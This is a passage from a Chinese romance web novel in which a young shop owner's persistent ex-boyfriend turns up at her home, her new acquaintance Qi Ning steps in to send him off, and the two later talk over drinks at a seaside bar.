而且……祁宁的两句话是隔了一段时间才分别发过来的。
但他们吃的就是再普通不过的牛肉火锅店,开在居民楼旁。
勉强算得上是“几年老店”。“潜力好店”、“老字号”、“北华区必吃榜单”?完全算不上。
端宝儿不觉得这种程度的饭,能让祁宁那种消费水平的人感到惊奇。
她刚把店名发过去,祁宁几乎秒回。
祁宁:【和同事一起吃?】
端宝:【和校友】
祁宁:【上次的学弟学妹?】
端宝:【没错!】
端宝儿揣起手机,仔细想来,五一假期就这样过完了,有点舍不得。
好在自己不用坐班。
时间到了五月,植株的绿意又重了一些。
回家路上,依旧是稍稍仰头,观察邻居们在阳台上种的植物,有一户的三角梅真的种得很好,就是阳台下的墙壁上爬了些藤蔓。
端宝儿暗自盘算,要不要也种一点三角梅呢?
心中思考着三角梅,走到单元楼下,等电梯时,她却下意识地往一旁背阴的居民楼墙上看去。
那里一直爬满大片大片的爬山虎,层层叠叠的绿叶总是少见阳光。
可此时,那儿立着一道颀长的人影,长身玉立的人身着深色的衣服,几乎要与叶影融为一体,很安静地立着。
茂密的爬山虎藤蔓在他身后紧吸着墙壁向上攀登,而他迈步向她走来。
“宝儿。”
他说,“我们也不是前任的关系吧?”
11. 过往
“我们也不是前任的关系吧?为什么从来不接我电话呢?”
面前的人笑着,很熟悉,过去四年了,好像还没怎么变过,无非就是轮廓更分明些,气质更成熟些。
身上那股曾经很鲜明的“校园感”褪去了,好似生胚入炉已经烧成了瓷器。
谢铮,这个沉睡很久的名字突然就重新浮现在脑中。
端宝儿没有后退,没有躲,看着谢铮慢慢走到自己身前。
不是很真实,像隔了层雾。
因为谢铮究竟是什么样的人,端宝儿已经有些忘了。
只觉得谢铮成年之后好像又长高了些,曾经脸还有些温润柔和,如今更加皮贴骨,五官立体深邃。
如果说身边有哪些人和他气质相似,江屿诺算一个。
都是被养得很好的小少爷。
相对来说,谢铮更好看,也更内敛斯文。
这种人,在读书时是受欢迎的,出了校园更是受欢迎的。
她好像是该表现出震惊的,因为按照不那么正经的算法,这是她的——前男友。
如此受欢迎的人,穷追不舍地出现在自己面前,端宝儿没有受宠若惊,没有久别重逢的喜悦,没有想逃离的慌张。
她说不上来是什么感觉,反而很平静,仿佛这件事与她无关。
端宝儿:“的确不是前任,我们也没什么关系。”
隔了一米的距离,对方没有贸然凑近,认认真真地端详她。
谢铮说:“没关系吗?我还没答应过分手。”
他说话的语气,真如对恋人谈天时一般,透着淡淡的嗔怪,好似从未分开,继续说出来的却是,“好几年了,你都不回我消息。”
……好几年还没分啊,亏你说得出这句话。
端宝儿:“几年了吗,是挺久的。”
谢铮低头看她的眼睛,“就算是异地恋,这也太过分了。”
端宝儿:“你待的哪个国家,管几年没说过话的关系叫异地恋吗?”
谢铮:“……不是。不过我们现在也确实不是异地恋了。”
他适时地拿出手机,语气亲昵,“把微信加回来吧。”
端宝儿斜睨一眼,不耐烦地轻啧一声。
“你怎么知道我住在这?”
谢铮握着手机的右手又收了回去,站得很挺,认真回答:“朋友说在这见过你,我就来了。”
以前端宝儿不知道该用什么词形容谢铮,现在知道了。
他像人机。
当然,曾经的谢铮不是这样的。
端宝儿还记得,高中那会儿,谢铮人缘特别好,像集各国校园影视剧里万人迷角色于一体,根本没有短板。
转折在大一前夕,她和谢铮恋爱被谢铮妈妈发现。
谢铮被家人逼着出国去,自己也躲到南市,和那边的一切熟人都断联。
从那之后,逐渐联系不上自己的谢铮,慢慢地变了。
在外人面前,人际关系还是处理得很好,相当正常的,完美的谢铮。
对她,会撕掉阳光完美的那层表皮,裸露出不正常的内里。
比如此时,再次出现在她面前,谢铮像是一具在土里埋了很久又重见阳光的人,记忆和感情都过了期也不放手,让这段关系只剩下腐烂的气味。
端宝儿无动于衷,只问关键信息:“江屿诺是你朋友?”
是也不奇怪,他们家境差不多,就算年龄不同,也本就能玩在一起。是那天江屿诺认出她,并告诉谢铮了么?
谢铮却摇摇头,“他表妹告诉我的。”
端宝儿:“叫什么名字?”
“江雨瑶。”
端宝儿不由思考,这个江雨瑶,在高中排挤自己的人当中,是哪一个。
在记忆里翻找了一会儿,终于想起这个人来。
高中之前,她还在C市镇上的初中读书,外婆去世后,她便被接到谢家,也是在那里见到了谢铮。
乡下太小了,小到谁家发生什么事,整个村都知情。
更别提与母亲有关的流言一度甚嚣尘上,端宝儿家曾在整个小镇都是谈资。
受惯了不友好的、冒犯的、嘲笑或探究的眼神,见惯了大部分人都浑浑噩噩愚昧地过日子。
就这样见到谢铮。
漂亮、文明、聪明,穿着干干净净的香喷喷的衣服,是见惯了世面的优雅气质。
谢铮在端宝儿眼中,简直有谪仙之姿。
对她的到来,他漠不关心,却保持了基本的礼貌和周到。
那时端宝儿就察觉到他们不可能是同一个世界的人。
比如开学报道那天,管家给她准备好了精致的校服、平板和电脑,几万块钱的配置。
乡下的一笔巨款,只不过是这里入学必备的基础款。
比如入学之后,谢铮的身边总是围绕着很多人,如一群优雅的白天鹅。
格格不入、不被庇护、寄人篱下的端宝儿,偏偏可以每天和那样的谢铮一起回家,自然有一群人不喜欢她。
其实这样的事端宝儿在乡下也经历过,比如混混男对她感兴趣,混混女便会堵人警告,“你离他远点”。
这样无聊的事,有的人也干不腻,竟然到了城里还能遇上。
唯一的不同,是到了城里,她没法报复回去。
在乡下厮打一顿,不会有家长介入,“又没缺胳膊少腿有什么好管,不如多做两天工”。
但到了城里,没人撑腰的只有她。
每位同学的家长都体面,可能从小认识,可能一直有生意来往,可能周末就相约好要去同一个马场。
端宝儿称呼谢铮的父母为叔叔阿姨,扮乖巧就够辛苦了,面对无止境的恶意,那时候唯一能对她的处境有所帮助的,只有谢铮。
为了缓解恶劣的处境,端宝儿曾经努力地和谢铮做朋友。
后来,为了摆脱藏有秘密的谢家,端宝儿又放纵谢铮的好感滋生。
这条路很对,她的目的都实现了,顺利安心读书,顺利考上好大学,顺利和谢家断联。
如今见到谢铮溺于过去,苦于相思,端宝儿很奇异的,丝毫不觉得后悔,良心也不痛。
“江雨瑶啊。”端宝儿甚至还嗤笑一声,“真亏你还能和她做朋友。”
谢铮没反驳,一副任她挖苦的模样。
端宝儿看不得这种画面,有种被口香糖粘住的错觉,撕扯不掉。
她压抑着心里的不悦,懒得再说。负面的情绪像在酝酿一场喷发,原有的平静逐渐要被冲破。
好烦。
好烦、好烦。
端宝儿不想暴露自己的楼层门牌,只转身往小区外走。
回门面去。
谢铮果然抬步跟着,步
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伐很一致,在后边心平气和解释:“我跟江雨瑶平时也不聊天,她提到你的事,我才会问的。”
端宝儿在心底默念,该过去的都过去了。
不要生气,没什么好生气的。
面上却还是嘲弄道:“哦是吗,你们这样不把我的隐私当一回事,你觉得我去报警怎么样?你这算不算跟踪?”
谢铮:“客观上我们之间没有什么矛盾,还曾经一起生活,不算跟踪。”
……讨厌的人机。
讨厌。讨厌。讨厌。
讨厌这种不平等的感觉。讨厌什么事情只要他想就能办到,讨厌他们那样的人可以一直我行我素。讨厌他身处高位却摆出可怜的嘴脸。
……这时候联系小王警官,他能帮她把谢铮抓起来吗?
不行的。
端宝儿打开幸福养老的卷帘门,歪倒在按摩椅里。
谢铮也跟进店,很耐心等抽了一把椅子坐着等,似乎要到她愿意与她沟通为止。
“把微信加上我就走。”
他恳切地说。
端宝儿充耳不闻,只把电视声音调大。
节目有点无聊,情感调节节目?切走。
男女抱在一起的偶像剧?切走。
法治频道的情杀案件?切走。
最终留在了本地的新闻界面,屏幕里的农民坐在无人驾驶的拖拉机上,吭哧吭哧,吭哧吭哧。
直到手机嗡嗡地震了起来,二人之间才不止有电视的播放声。
端宝儿看也没看,歪头接了电话。
“喂,你好——”
“你现在在家吗?”
熟悉的,略低沉的,有磁性的声音,是不夹也不带气泡音的天然的好听,尾音干净。
“祁宁?”
端宝儿意外地放下手机,瞄了一眼屏幕,陌生的C市号码,但不讨厌。
这还是她第一次和祁宁打电话。
她把手机放回耳边,“你刚才说什么?”
“你现在在家吗?”
“不在,是有什么事吗?”
端宝儿不大希望接到家属的电话,因为一般是老人独自在家却断联了,家属在外没法及时回家,才委托她上门看一眼。
她不希望谁家老人出事。
但没有,祁宁不是为了祁奶奶,而是专程找她的。
“我回南市了,现在在小区,想给你送些吃的。”祁宁说,“但见你没回消息,家里也没亮灯,所以打电话问问。”
饭约在下午,和学弟走回小区时,天还不算很黑,此时端宝儿侧头看窗外的天色,是很暗了,路灯都亮起来。
端宝儿没及时说话,祁宁又问:“你一个人吗?还是和学弟学妹一起?”
这要怎么形容。
端宝儿低头,含糊道:“有点事。”
“你是不是不方便说话?需要帮忙吗?”
端宝儿不知道祁宁为什么会问出这样的话。
她一直在努力平心顺气,声音应该听不出什么不对,可此时确实需要帮忙。
心底那股被压抑的不悦泄了气,从四肢百骸中冒出来,瞥一眼身旁坐怀不乱似的谢铮,端宝儿突然就对着电话笑了起来,恶意煮沸了,盖不住,蒸汽蹿出去。
“我这边确实需要帮忙。”她说,“有人非说是我男朋友,所以你要过来做小三吗?”
12. 对峙
“所以你要过来做小三吗?”
这句很低俗的话一出,端宝儿自己都觉得自己有些疯了。
但就像脑子里的某根弦绷断了,没什么逻辑的话脱口而出。
谢铮看着斯文,做的却是甩不掉的事儿,任谁看了这样一个外形优越气质矜贵彬彬有礼的青年,都不会觉得他在骚扰她。
只有她自己心里清楚多烦躁。
而祁宁,非要在这种时候不依不饶,连着问很多问题,看似关心备至,到底是要做什么,为什么认定她需要帮忙?
好啊,既然如此。
那一刻心底大约只有这六个字。
报复心发作了。
说完之后,终于解气,但端宝儿也同时感到略微地后悔。
祁宁会怎么想呢?他其实也是好心。
端宝儿觉得,她偶尔就像这样,没更多的精力去装成一个体面人。
要是吓跑了别人,也没有办法。
自暴自弃、破罐破摔的恶意涌上心间,端宝儿迎接电话那头的审判,是挂掉、被吓到、还是被冒犯而生气。
可预期中的反应都没有出现。
祁宁竟然笑了。
他似乎觉得这是一件很有意思的事,也精准接收到了她的玩笑。
端宝儿先是听到一点低笑的气音,而后听祁宁说,“好啊,地址告诉我,我过来。”
他没问怎么回事,没问是不是真的,没问她怎么突然胡说八道。
你要来做小三吗——好啊,我这就过来。
挂了电话,端宝儿脸有些红。
谢铮正不赞同地看着她。
“我们之间的事,也没必要牵扯其他人进来。”谢铮问,“为什么要赌气呢?”
听到她突然叫人过来当“小三”,谢铮有感到惊讶,但没有失态。
目标仍然很明确,只想端宝儿妥协,主动加他微信。
端宝儿看过一些电视剧,男女分手后,男方追回,好不容易见面,言辞都会很夸张、饱满、强烈,满口爱、后悔、想你、没有你就不行;
肢体动作也会很激烈,诸如“把她猛地拉入怀中”,或者多么激烈地拥吻。
吻到最后二人便释尽前嫌,在床铺上互诉衷肠。
但她不是能释尽前嫌的人,谢铮也并不热烈。
他就这样轻飘飘地出现了,并不挽回,因为他声称根本就不曾分手。
谢铮凑近了,眼底明显写满了“想拥抱”、“想念”“想说话”,却克制得很,没有上前抓她手腕或企图做更多肢体接触。
他识相,端宝儿便也没有打人,没有将他赶走。
不仅是想体面一点,更是没有心力去做。
她索性当谢铮是空气,懒懒地看电视。
谢铮还真的留下,就这样坐在另一张按摩椅上,跟她一起看电视。
端宝儿紧贴按摩椅靠背,按摩滚轮突突地动来动去,她被顶得有点摇晃,只盯着电视,非必要不看谢铮一眼。
谢铮坐得很直,时常观察她,希望她能不要再闹别扭地与他说话。
直到祁宁走进来。
祁宁来得很快,一道高大的身影几乎是直接闪进了店里,动作很轻,却衣角生风。
今天天气不算热,衬衫、马甲、外套完整地套在祁宁身上,领带和皮带都好看,胸脯饱满地藏在马甲下,腰腹又被贴合的裁剪修饰得很好。
没想到他回家还穿得这样正式,如此一走进来,端宝儿突然觉得自己的店也变得贵气。
她竟然短暂地愣了一下,忘了现在究竟要处理什么事。
她和谢铮之间井水不犯河水的平静也被打破,因为祁宁直接走到她身边,口吻亲昵。
“这是怎么,被人缠上了?”
作为外人,作为后来的那个,撞入一个男女独处的私人空间,祁宁神情自然。
没有剑拔弩张,甚至完全无视了谢铮,和端宝儿玩笑似的说话。
端宝儿:“你……来得好快。”
谢铮已经起身,也想走到端宝儿身边来,也只看着端宝儿,“你朋友吗?”
谢铮也只问端宝儿。
谢铮下意识地感到危机。他从见到端宝儿起,就一直与她保持距离,并非不想接近,并非不想触碰,只是不敢。
他深知端宝儿不是个能逼急的人,吃软不吃硬,所以他只在旁边耐心地等。
但这个祁宁是谁,突然就走了进来,对端宝儿十分亲切,丝毫距离感都没有,谢铮从没见过端宝儿这样……信赖对方的模样。
她从不示弱的,在方才却求助了,把人叫过来帮忙……那种气场谢铮读得懂,端宝儿对这个男人充满了信赖。
祁宁是她男朋友吗?
不应该。他们聊天的内容,不可能是在一起的关系。
是从哪一句话开始变质的,从端宝儿在电话里让人过来,并报了地址之后。
在那之前,明明是公事公办……
谢铮心底复杂的情绪杂糅着沸腾之时,端宝儿却放松了。
祁宁走到她身后,她安心陷在按摩椅里。
在祁宁出现之前,端宝儿不太明白要怎么应付谢铮。
她来幸福养老的门面待着,只不过是为了逃避,和谢铮耗着,直到他自行离开。
但如果谢铮一直这样淡淡的不依不饶,她有很大可能会受不了,最后怎么收场都很难说。
可就是这么巧,本该在C市的祁宁来了。
见了他,端宝儿不可思议地觉得很轻松,绷紧的神经放松,系在心上的石头消失,转而踩在轻飘飘的棉花上。
眼前的一切都成了闹剧,谢铮也变得……不值一提。
在祁奶奶家吃饭时,祁宁对大刘介绍端宝儿,似乎用的是“朋友”。
端宝儿一直认为朋友是个很重的词,但祁宁很早就认下来。
他们是……相识没多久,却很投缘的朋友。
有的人天生不对付,共同在工位上坐二十年也不可能是朋友,但她和祁宁,从小山包上共处过后,似乎就有很相合的气场。
不过此时谢铮问她,祁宁是她朋友吗?祁宁却不认了。
“不是朋友。”祁宁单手搭在端宝儿的椅背,表情称得上友好,终于看向谢铮,像商务洽谈前,轻巧地寒暄,“你说你是她男友?那我就是第三者了。”
端宝儿差点笑出来。
这样的话,也亏祁宁愿意陪她接。
她是第一次见祁宁如此不着调,虽然胡言乱语,表情却非常认真,一副“赶着来当小三”并且引以为豪的模样。
在祁宁出现之前,谢铮的注意力始终放在端宝儿身上,所以她像被蛇锁定般不适。
如今谢铮却不得不看向祁宁,反而是他感到被威胁。
如果说谢铮是那种年轻俊
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逸的类型,比高中时成熟了些,放在祁宁面前却是根本不够看。
祁宁身上根本看不出半点学生气,不知该形容气场强大还是熟透了,似乎对待什么都能做到处惊不变。
此时他身上除了游刃有余的优雅,更多了一丝纠缠不休的痞气,好脾气似的跟谢铮认真算账,“可是,你不是端宝儿男友,我自然也算不得第三者。”
“你好像也不觉得自己的行为是在冒犯人,还是说你觉得冒犯了她也没有代价?江屿诺的表妹没分寸,你也跟着没分寸?”
明明没差几岁,祁宁的语气也不算严厉,但就是像在训小孩儿,似笑非笑,却充满了压迫感,直接点了谢铮父亲的大名。
“谢鹏是你爸吧?他知道你来南市了吗?他准你来吗?你是觉得被知道了也无所谓,端宝儿不会有麻烦?难怪江屿诺他妹说些什么,你也觉得无所谓。既然什么都不在乎,又过来装些什么?”
端宝儿听懵了。被祁宁拉走的时候,还觉得颇为不真实。
……怎么祁宁什么都知道似的?
隐约看到谢铮想伸手来拦自己,却被祁宁不动声色地隔开了。
谢铮不是没说话,而是他想说的话在祁宁面前不值一提。
谢铮当然不是一开始就任由祁宁闯进来店里。
他起初有种被打扰的不悦,奈何祁宁实在不按套路出牌,昂首挺胸就要进来“当小三”。
后来更是摆出长辈的架子将他训了一顿。
中途谢铮或许想解释“并不知道诋毁一事”,但祁宁根本懒得听他说话,从没给过好好沟通的机会。
店铺还没关,祁宁直接虚推端宝儿的肩膀,催她走了。
直到坐上熟悉的跑车。
端宝儿:“……我的店。”
“他不是喜欢待在那么?让他待着吧。”祁宁说,“要是丢了什么东西,我付。”
这……谢铮也不至于看上她店里的东西。
端宝儿:“是要去哪?”
“随便逛逛?等他走了再回去。”
两人会一齐回小区,祁宁没说“送”,只说“回去”。
事发突然,端宝儿方才只顾着惊讶和看戏,如今应有的情感才缓缓回流。
“你凶起来还挺凶的。”她评价。
“我凶?”祁宁笑,“我刚才眉头都没皱过。”
没表情就挺凶的。
记忆继续回溯,端宝儿想起凶的人其实是自己。
她那时有点恶向胆边生。不知道是因为受不了谢铮的纠缠,还是突然反感祁宁对她私生活的关注,骤然说出了小三那番发言,想一次性撞翻两个人。
就,挺突然的。
“谢谢你来帮我啊。”端宝儿说,“我刚在电话没吓到你吧。”
祁宁:“吓到了。”
端宝儿:……
祁宁:“但不意外,虽然奶奶说你又乖又脾气好,但我一开始就知道不是。”
端宝儿:?
“什么时候?”
祁宁轻声哼笑,没回答。
端宝儿怀疑他想说的是微信表情,隐射她总发翻白眼的微笑小黄豆,暗暗发誓之后再也不装了。
端宝儿:“我也想起来为什么觉得你今天凶得很眼熟。”
祁宁:“为什么。”
端宝儿:“像最开始加微信警告我的时候。”
祁宁:……
13.海边
祁宁:“去海边吗?”
“晚上的海?”端宝儿不是很赞同。
车驶在市区,风景总会越来越单调,除非往偏僻的地方开,去平时没看过的地方。
但在这种氛围中,端宝儿好像得到了一种放纵的快乐。
虽然还是有城市限速,但四十公里每小时的车速也足够把一切远远地甩在身后,她要做的,只有放空。
过了好久,端宝儿才想起,或许该搞清楚谢铮还在不在店里,但总不可能为了这点事麻烦店员专程去瞄一眼。
转念一想,管他呢。
端宝儿没说想回家,祁宁似乎也不着急。
端宝儿看祁宁,他只很专注地开车,平视前方。车里没人说话,也不尴尬。
虽然不知道为什么他突然又来了南市,但毫无疑问,祁宁帮上了忙。
大多数时候端宝儿是一个人可以搞定所有事的人,但与人,与情感有关的事总是很难理清楚的。
也还好祁宁来了,不然她面对看似礼貌实则可能阴恻恻的谢铮,或许就不是说一句疯话那么简单,可能会应激。
祁宁之前请她吃饭,可以理解为在补偿误会她一事,在端宝儿看来,之前的事已经扯平了,现在是祁宁多帮了她一次忙。
端宝儿:“去喝酒怎么样?我请你。”
刚问出来,发觉祁宁开着车,似乎不那么合适。
但祁宁仍然挺感兴趣的,因为他即刻便问:“喝什么?”
端宝儿:“忘了你开着车,还是算了吧。”
祁宁:“可以叫代驾。”他饶有兴趣,“你喝酒啊。”
她喝不喝酒是重点吗,重点是车怎么办吧!
换位思考,如果这车是端宝儿的,她可能不太放心交给司机开,剐蹭到多麻烦。
如果她是代驾司机,可能也不大敢开这种车。
但再一思考,她又在操闲心了。
区区一辆跑车又怎么了!端宝儿暗暗谴责自己,怎么又用贫穷的思维方式跟祁宁对话,她要代入的不是司机,不是自己,是祁宁。
祁宁是想喝的,这就够了。
“我喝酒,但不经常喝。”端宝儿侧头看他,祁宁表情没什么变化,便开玩笑,“这也不意外?”
祁宁会意,接上了之前的对话,“不意外。”
端宝儿乐起来。
她是挺喜欢喝酒的,酒量也不错。就是喝得不频繁,因为酒吧一般卖得都不便宜,还没喝醉就好几百的程度,她自己调得又不大好喝。
作为一个佛系个体户,这样的支出实在有些奢侈。
但今天想还祁宁人情,端宝儿准备豪横一把,带祁宁去一家收藏了很久但没去过的海滨酒吧。
那里据说风景很好,当然酒价也要高上一些,经典鸡尾酒都收一百多一杯。她能想到的当下最好的报答就是这个。
“去这里吧。”
端宝儿用自己的手机调出导航,“也正好在海边。你很喜欢看海吗?”
“还可以,会觉得很安静,但不会特意来看。”
端宝儿:“我也差不多。”
开车的人安静下来,端宝儿靠着椅侧和车身的夹角,车身很平稳,却能感到低频的,行驶中的轻微震动,还有车身隔掉的破风声。
很舒适,她差点睡过去。
祁宁开跑车好像没有把顶打开的习惯,今天的车里仍然播放的是浅浅的钢琴曲。
端宝儿醒时,发现音乐已经关了,而且自己好像真的睡着了。
祁宁见她坐正,延续方才的话题:“刚才想了一下,之前虽然没什么明确喜欢的东西,但要说的话,我讨厌下雨。”
“下雨?”
“下雨的时候,天气会闷,裤脚会脏,越走越闷,越走越脏。不过那是之前了,走吧,到了,下车。”
端宝儿往窗外看,才发现已经到了酒吧的停车区。
这一片海滩沙子很细腻,规划出了一片娱乐休闲区,白天会支起一些大的防晒伞,晚上则亮起灯带。
离海更远处还有一些建筑,三三两两地错开,挨着滨海路,客人不少。
梦旅酒吧就在其间,圈了一块地作为小院,整体基础装修的风格简约大方,但根据季节会做不同的软装。
此时便已经贴上了清爽风格的海报,让人不由期待起夏天。
端宝儿暗暗记下橱窗海报的排版,下次把幸福养老的海报字体也放大一些。
酒吧或餐厅这种店铺,地理位置的优越性似乎和口味成反比,在市中心商业街的店总能得到“难吃难喝”的评价,但梦旅是难得的位置不错,口味和评价也好。
端宝儿对自己的选址很满意,期待地望向祁宁,盯着不放。
“怎么了?”他问。
端宝儿:“是不是挺漂亮的?”选的店被夸赞她会很有成就感。
“是。坐里面还是坐外面?”
店铺内里不大,有一排吧台座位,各式桌子大多摆在了店铺外的小院,看来老板执意让客人感受海风。
端宝儿:“外面吧。”
落座后,祁宁说和她喝一样的款,端宝儿便点了两杯威士忌酸。
店员拿着酒单离去,端宝儿惬意地往后贴着靠背,海风吹过,发丝也被撩起来。
和祁宁相对坐着,很安稳,很放松。
很久很久没有这样放松,放松到有些不真实的程度。
舒爽!!真的想飘起来,甚至已经有些飘飘然了。
谢铮的到来突然把她变成了被压到最底部的弹簧,过往的重量一层层垒上去。而祁宁把那重物搬开,她轻松起来,不仅弹回去,还飞到天上去。
什么都不用考虑,不用和过去认识的人说话,只用小口喝着带有柠檬香味的冰饮。酒精在冰块中摇晃撞击过,香味恰到好处,加了蛋清又很绵密——
端宝儿长舒一口气,随意捋了捋,发现对面的祁宁正在看她。
他们坐的是可供四人坐的那种长桌,只是偏小,所以两人坐着也不觉得空。
桌上只摆了两叠送的小零食和果切,祁宁没吃,端宝儿叉起一颗小番茄。
祁宁:“刚才那人是你高中同学?”
祁宁也倚着椅背,看她是怎样叉了几次小番茄都叉空,终于送到嘴里时,很不经意地问出来。
端宝儿嚼了两下,才知道祁宁的“那人”是在说谢铮。
端宝儿:“也算前男友。”
祁宁点头,好像在等她说下去。
端宝儿想了想,既然祁宁认识谢铮他爸,也不是什么说不出口的事情。
她简单给祁宁说了和谢铮认识的原委,无非就是寄养到谢家,谢家出钱让她读高中……毕业后两人有点牵扯,谢家不同意,这段关系就此结束,仓促到像没发生过。
说这些随便一查都能知道的事,端宝儿觉得挺无聊的,说完,她又拿起叉子想扎小番茄,抬眼间却看到祁宁一直在看着她。
她的叙
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述水平挺一般的,这件事本身也很无聊。
但祁宁抱着胳膊,很安静地听,始终很认真,目光从来就没从她身上离开过。
比如初中怎么从村里去镇上上学,这种流水账祁宁都听得很仔细。
说起初中的事时,端宝儿情绪不错,眉飞色舞,所以没关注祁宁的状态,说完停下,和他对视上,眼眸中的什么东西触碰到一起,端宝儿突然就愣住了。
他——一直在看她。
对视和对视是不同的。和老师对视你会觉得心虚,和老板对视你会觉得烦躁,和同事对视你会觉得怎么还不下班,和家人对视你会觉得今天吃什么饭,和路人对视你会很快移开目光或不服输地盯回去。
但,有的对视,会让人像触电一样,心里一跳。
端宝儿很深切地察觉到祁宁的视线中藏着东西。他出神的,带着某种感情的凝视着她,甚至有些不自知。
没有人会无缘无故一直安静聆听他人说话,没有人可以不带任何感情而眼底含着不自知的笑意,甚至有些宠溺地看着他人口若悬河说很无聊的事。
某种东西没有说明,却挑明了。
端宝儿突然意识到,她此前的逻辑,蕴含了一个严重错误。
此前她一直认为,祁宁是先认识谢鹏,才听说了谢铮和她之间的事,再出手相助一把,带她摆脱谢铮。
现在想来,分明是,先有她和祁宁被江雨瑶和江屿诺撞见。
因为目睹她在祁宁身边,目睹那天祁宁对她自然的维护,所以江屿瑶才会恶意地把她的行踪透给谢铮,把她的事又告诉祁宁。
这桩麻烦,本就是她接近祁宁引起。
这些事发生的时候,她什么都不知道。
好感或许是轻的,但好感附加的东西可以压垮人。不自知的好感,是散发着毒气的鲜艳花朵。
可远观,不可亵玩。
这份好感来源于祁宁,端宝儿很荣幸。同频的人不可多得。
但也正是因为这份好感来源于,各方面又显然和她不同的祁宁,端宝儿觉得……不可控。
可是,万一呢。
万一这一次和之前都不一样……他也心知肚明,是明晰的,是直接的,是无害的,是已经扫平障碍的坦途,是已经削掉刺的玫瑰呢?
“祁宁。”
端宝儿叫他。
正巧音响播放的音乐,前奏过去,变得大声。祁宁颇有兴趣地问——
“什么?”
端宝儿示意他凑近些。
晚上十一点,海滩人仍然很多。人们的交谈被海浪声和风声稀释,变成嘈杂又不真切的低语,混合着音响中恰到好处的鼓点和节奏,为昏黄的光源和夜色添上一分暧昧。
祁宁起身,身体倾过来,单手撑着桌子,马甲不再紧贴胸线,而是折出一个浅浅的沟壑,领带摇摇欲坠。端宝儿闻到他肩旁的一点香气,她与他很近地对视。
“祁宁。”她说,“我想问一个很冒犯的问题。”
这种无关紧要的要求,祁宁当然是答应了。他说:“想知道什么?”
“——你是不是喜欢我?”
端宝儿看着他的眼睛,像一把开了刃的刀,想剖去外壳看到内里。她执着的、坚定的、显然不似玩笑地问出来:
“祁宁,你是不是喜欢我?”
祁宁微愣。
端宝儿往后靠了靠,回归原位,坐正。
周围旖旎的环境音变轻了,月光暗下去。
14.喜欢?
祁宁的反应就像放慢了。
端宝儿看到他顿了一秒,嘴唇微微张开,欲言又止。
先是做了一个微不可察的吞咽动作,才坐回去,一边眼睛微微压下去,眉毛轻轻挑起来。
表情变化淡淡的,但那个眼神——很复杂。
祁宁的眼神湿漉漉的,不同的思绪不停旋转着,端宝儿在他黑色的眼瞳看到细碎的反光,如围绕着恒星公转的行星。
可这件事有那么复杂吗?
——你是不是喜欢我?
是就承认,不是就否认啊。
“是啊——”
“是啊,能帮上忙我也很高兴。”
她听到祁宁这样说。
*
次日下午,祁宁顶着宿醉的头疼下了飞机。
陈秘书到机场接他。
陈秘书不得不感叹,他家老板精力是真好,不知道打了什么鸡血,突然一天处理了三天的工作,百忙之中抽出空多回了一趟南市。
不知道去办了什么事,临时订机票,很快又回来。
陈秘书想,祁宁其实很自律,平常除了工作就是运动和睡觉,作息非常健康,这两天看起来是熬了两个夜,黑眼圈都微微出来了一点。
难得啊难得。
他们二人挺熟的,又没很大的年龄差,所以陈秘书不像在前司工作那样拘谨,想问就直接问了:“昨天晚上喝酒了?”
祁宁:“对。”
祁宁分不清自己是后脑勺还是太阳穴隐隐发晕。
没想到端宝儿这个女人是真的很能喝,昨天虽然都喝的是调制过的鸡尾酒,但基酒偏烈,度数也都不算很低。
两人各自喝了五杯,端宝儿走路都没歪一下。
祁宁当时叫了网约车和端宝儿一起回小区。
把人送回去之后,祁宁走在昏暗的小区,意识到他基本是不住奶奶那的,半夜三点更不可能去奶奶家打扰,偏偏小区附近太老了,也没有像样的酒店。
所以送完端宝儿,他干脆又订了之前住惯的酒店,打车回了市区。
至于车,应该是叫了代驾停去公司新址的车库了。
祁宁不算不能喝的人,但他不常喝酒,早期创业虽然应酬频繁过,但都不是老派的酒局。
总之喝酒频率非常低,骤然一喝,根本不很适应。
导致他订了下午的机票便睡过去了,从凌晨四点睡到十二点,赶飞机回了C市。
……昨天是从哪里开始不对劲的。
他千里迢迢着急回到南市,不应该莫名其妙宿醉着回C市啊。
祁宁想,好像是从端宝儿突然问“喜不喜欢”的问题开始。
在那之前,端宝儿的乐趣在于小口喝酒,还有颇具兴致地和他聊天。
在那之后,她专心喝酒,只享受酒液的美味口感。
祁宁能很鲜明地感觉到那句话之后,他的存在感在端宝儿那降低了,地位还不如酒精。
她宁可欣赏杯子都没看他。
他去见她前,特意穿搭配了一身低调又能看出小心思的衣服,袖口和领带的暗纹很相称啊。
那天她不是很喜欢看穿正装的男人吗?明明他应该比那人好看得多。
为什么呢?
陈秘书看祁宁很难得地略微仰头发呆,觉得祁宁实在是太不对劲。
在陈秘书看来,不对劲其实是从几天前就开始了。
几天前,他和小江总还有祁宁这个老板,三人出去办事的时候。
江屿诺和祁宁坐后排,他坐副驾。
开完会,赶场换地方,途中江屿诺几次三番想开口,终于忍不住在车上当着他这个外人就开始与祁宁聊私事。
祁宁显然不大想听,但奈何在车上赶行程,没法隔绝江屿诺的声音。
陈秘书记得当时江屿诺说,“那个女的和谢鹏儿子不清不楚的,他们还没分手呢……而且那个男的已经去找她了。说实话谢鹏儿子也挺优秀的吧,怎么被她玩得一愣一愣的。”
还劝祁宁:“你没感情经验,这种捋不清楚的关系,一定要避着点。”
说得好像老板被卷入了什么不伦恋之类的。
小江总凭啥这么说他老板?
陈秘书一度暗暗猜想,老板莫非最近感情上有情况?
老板突然回南市是听劝,去甩掉纠缠不休的坏女人?
但为什么老板回来后一幅生无可恋的样子呢。
陈秘书知道祁宁的为人,祁宁是个清心寡欲又极度自律的人。
至于江屿诺,陈秘书和江屿诺其实没那么熟。
陈秘书只知道江屿诺是个很典型的“玩世不恭型”的富二代,对什么都不上心,也不认真。
可能一切东西都来得很轻易,似乎生来就不会遇到挫折。因此也没什么干劲,在公司混日子,基本不干正事。
陈秘书想过,为什么祁宁要留这样花瓶式的一个小股东抛头露面,后来觉得,江屿诺的优势其实在于他背后的□□。
江家是老派的有钱人,发家早,家风正,江屿诺的父母是全国知名的模范夫妇,早年经常上新闻访谈,只有他这一个宝贝儿子。
祁宁当初利用的是江屿诺完美的外在形象,帮公司做宣传。
把“江家小公子花小钱海投几十家公司”渲染成“小公子押宝风行实在独具慧眼”,向外界展示江家小公子眼光独到,他们风行是一个多么正确的选择,收益翻了多少……展示风行多么有前景,未来无限广阔。
当初祁宁的决策很有效,江屿诺的身份确实为他们公司带来了很多话题度。
但祁宁把实权一直收得很拢,即使江屿诺一度被推到台前,如今私下也只领领分红,像个公司吉祥物。
陈秘书:……他老板小小年纪也挺狠的。
江屿诺被祁宁频繁带在身边,也算……受宠?
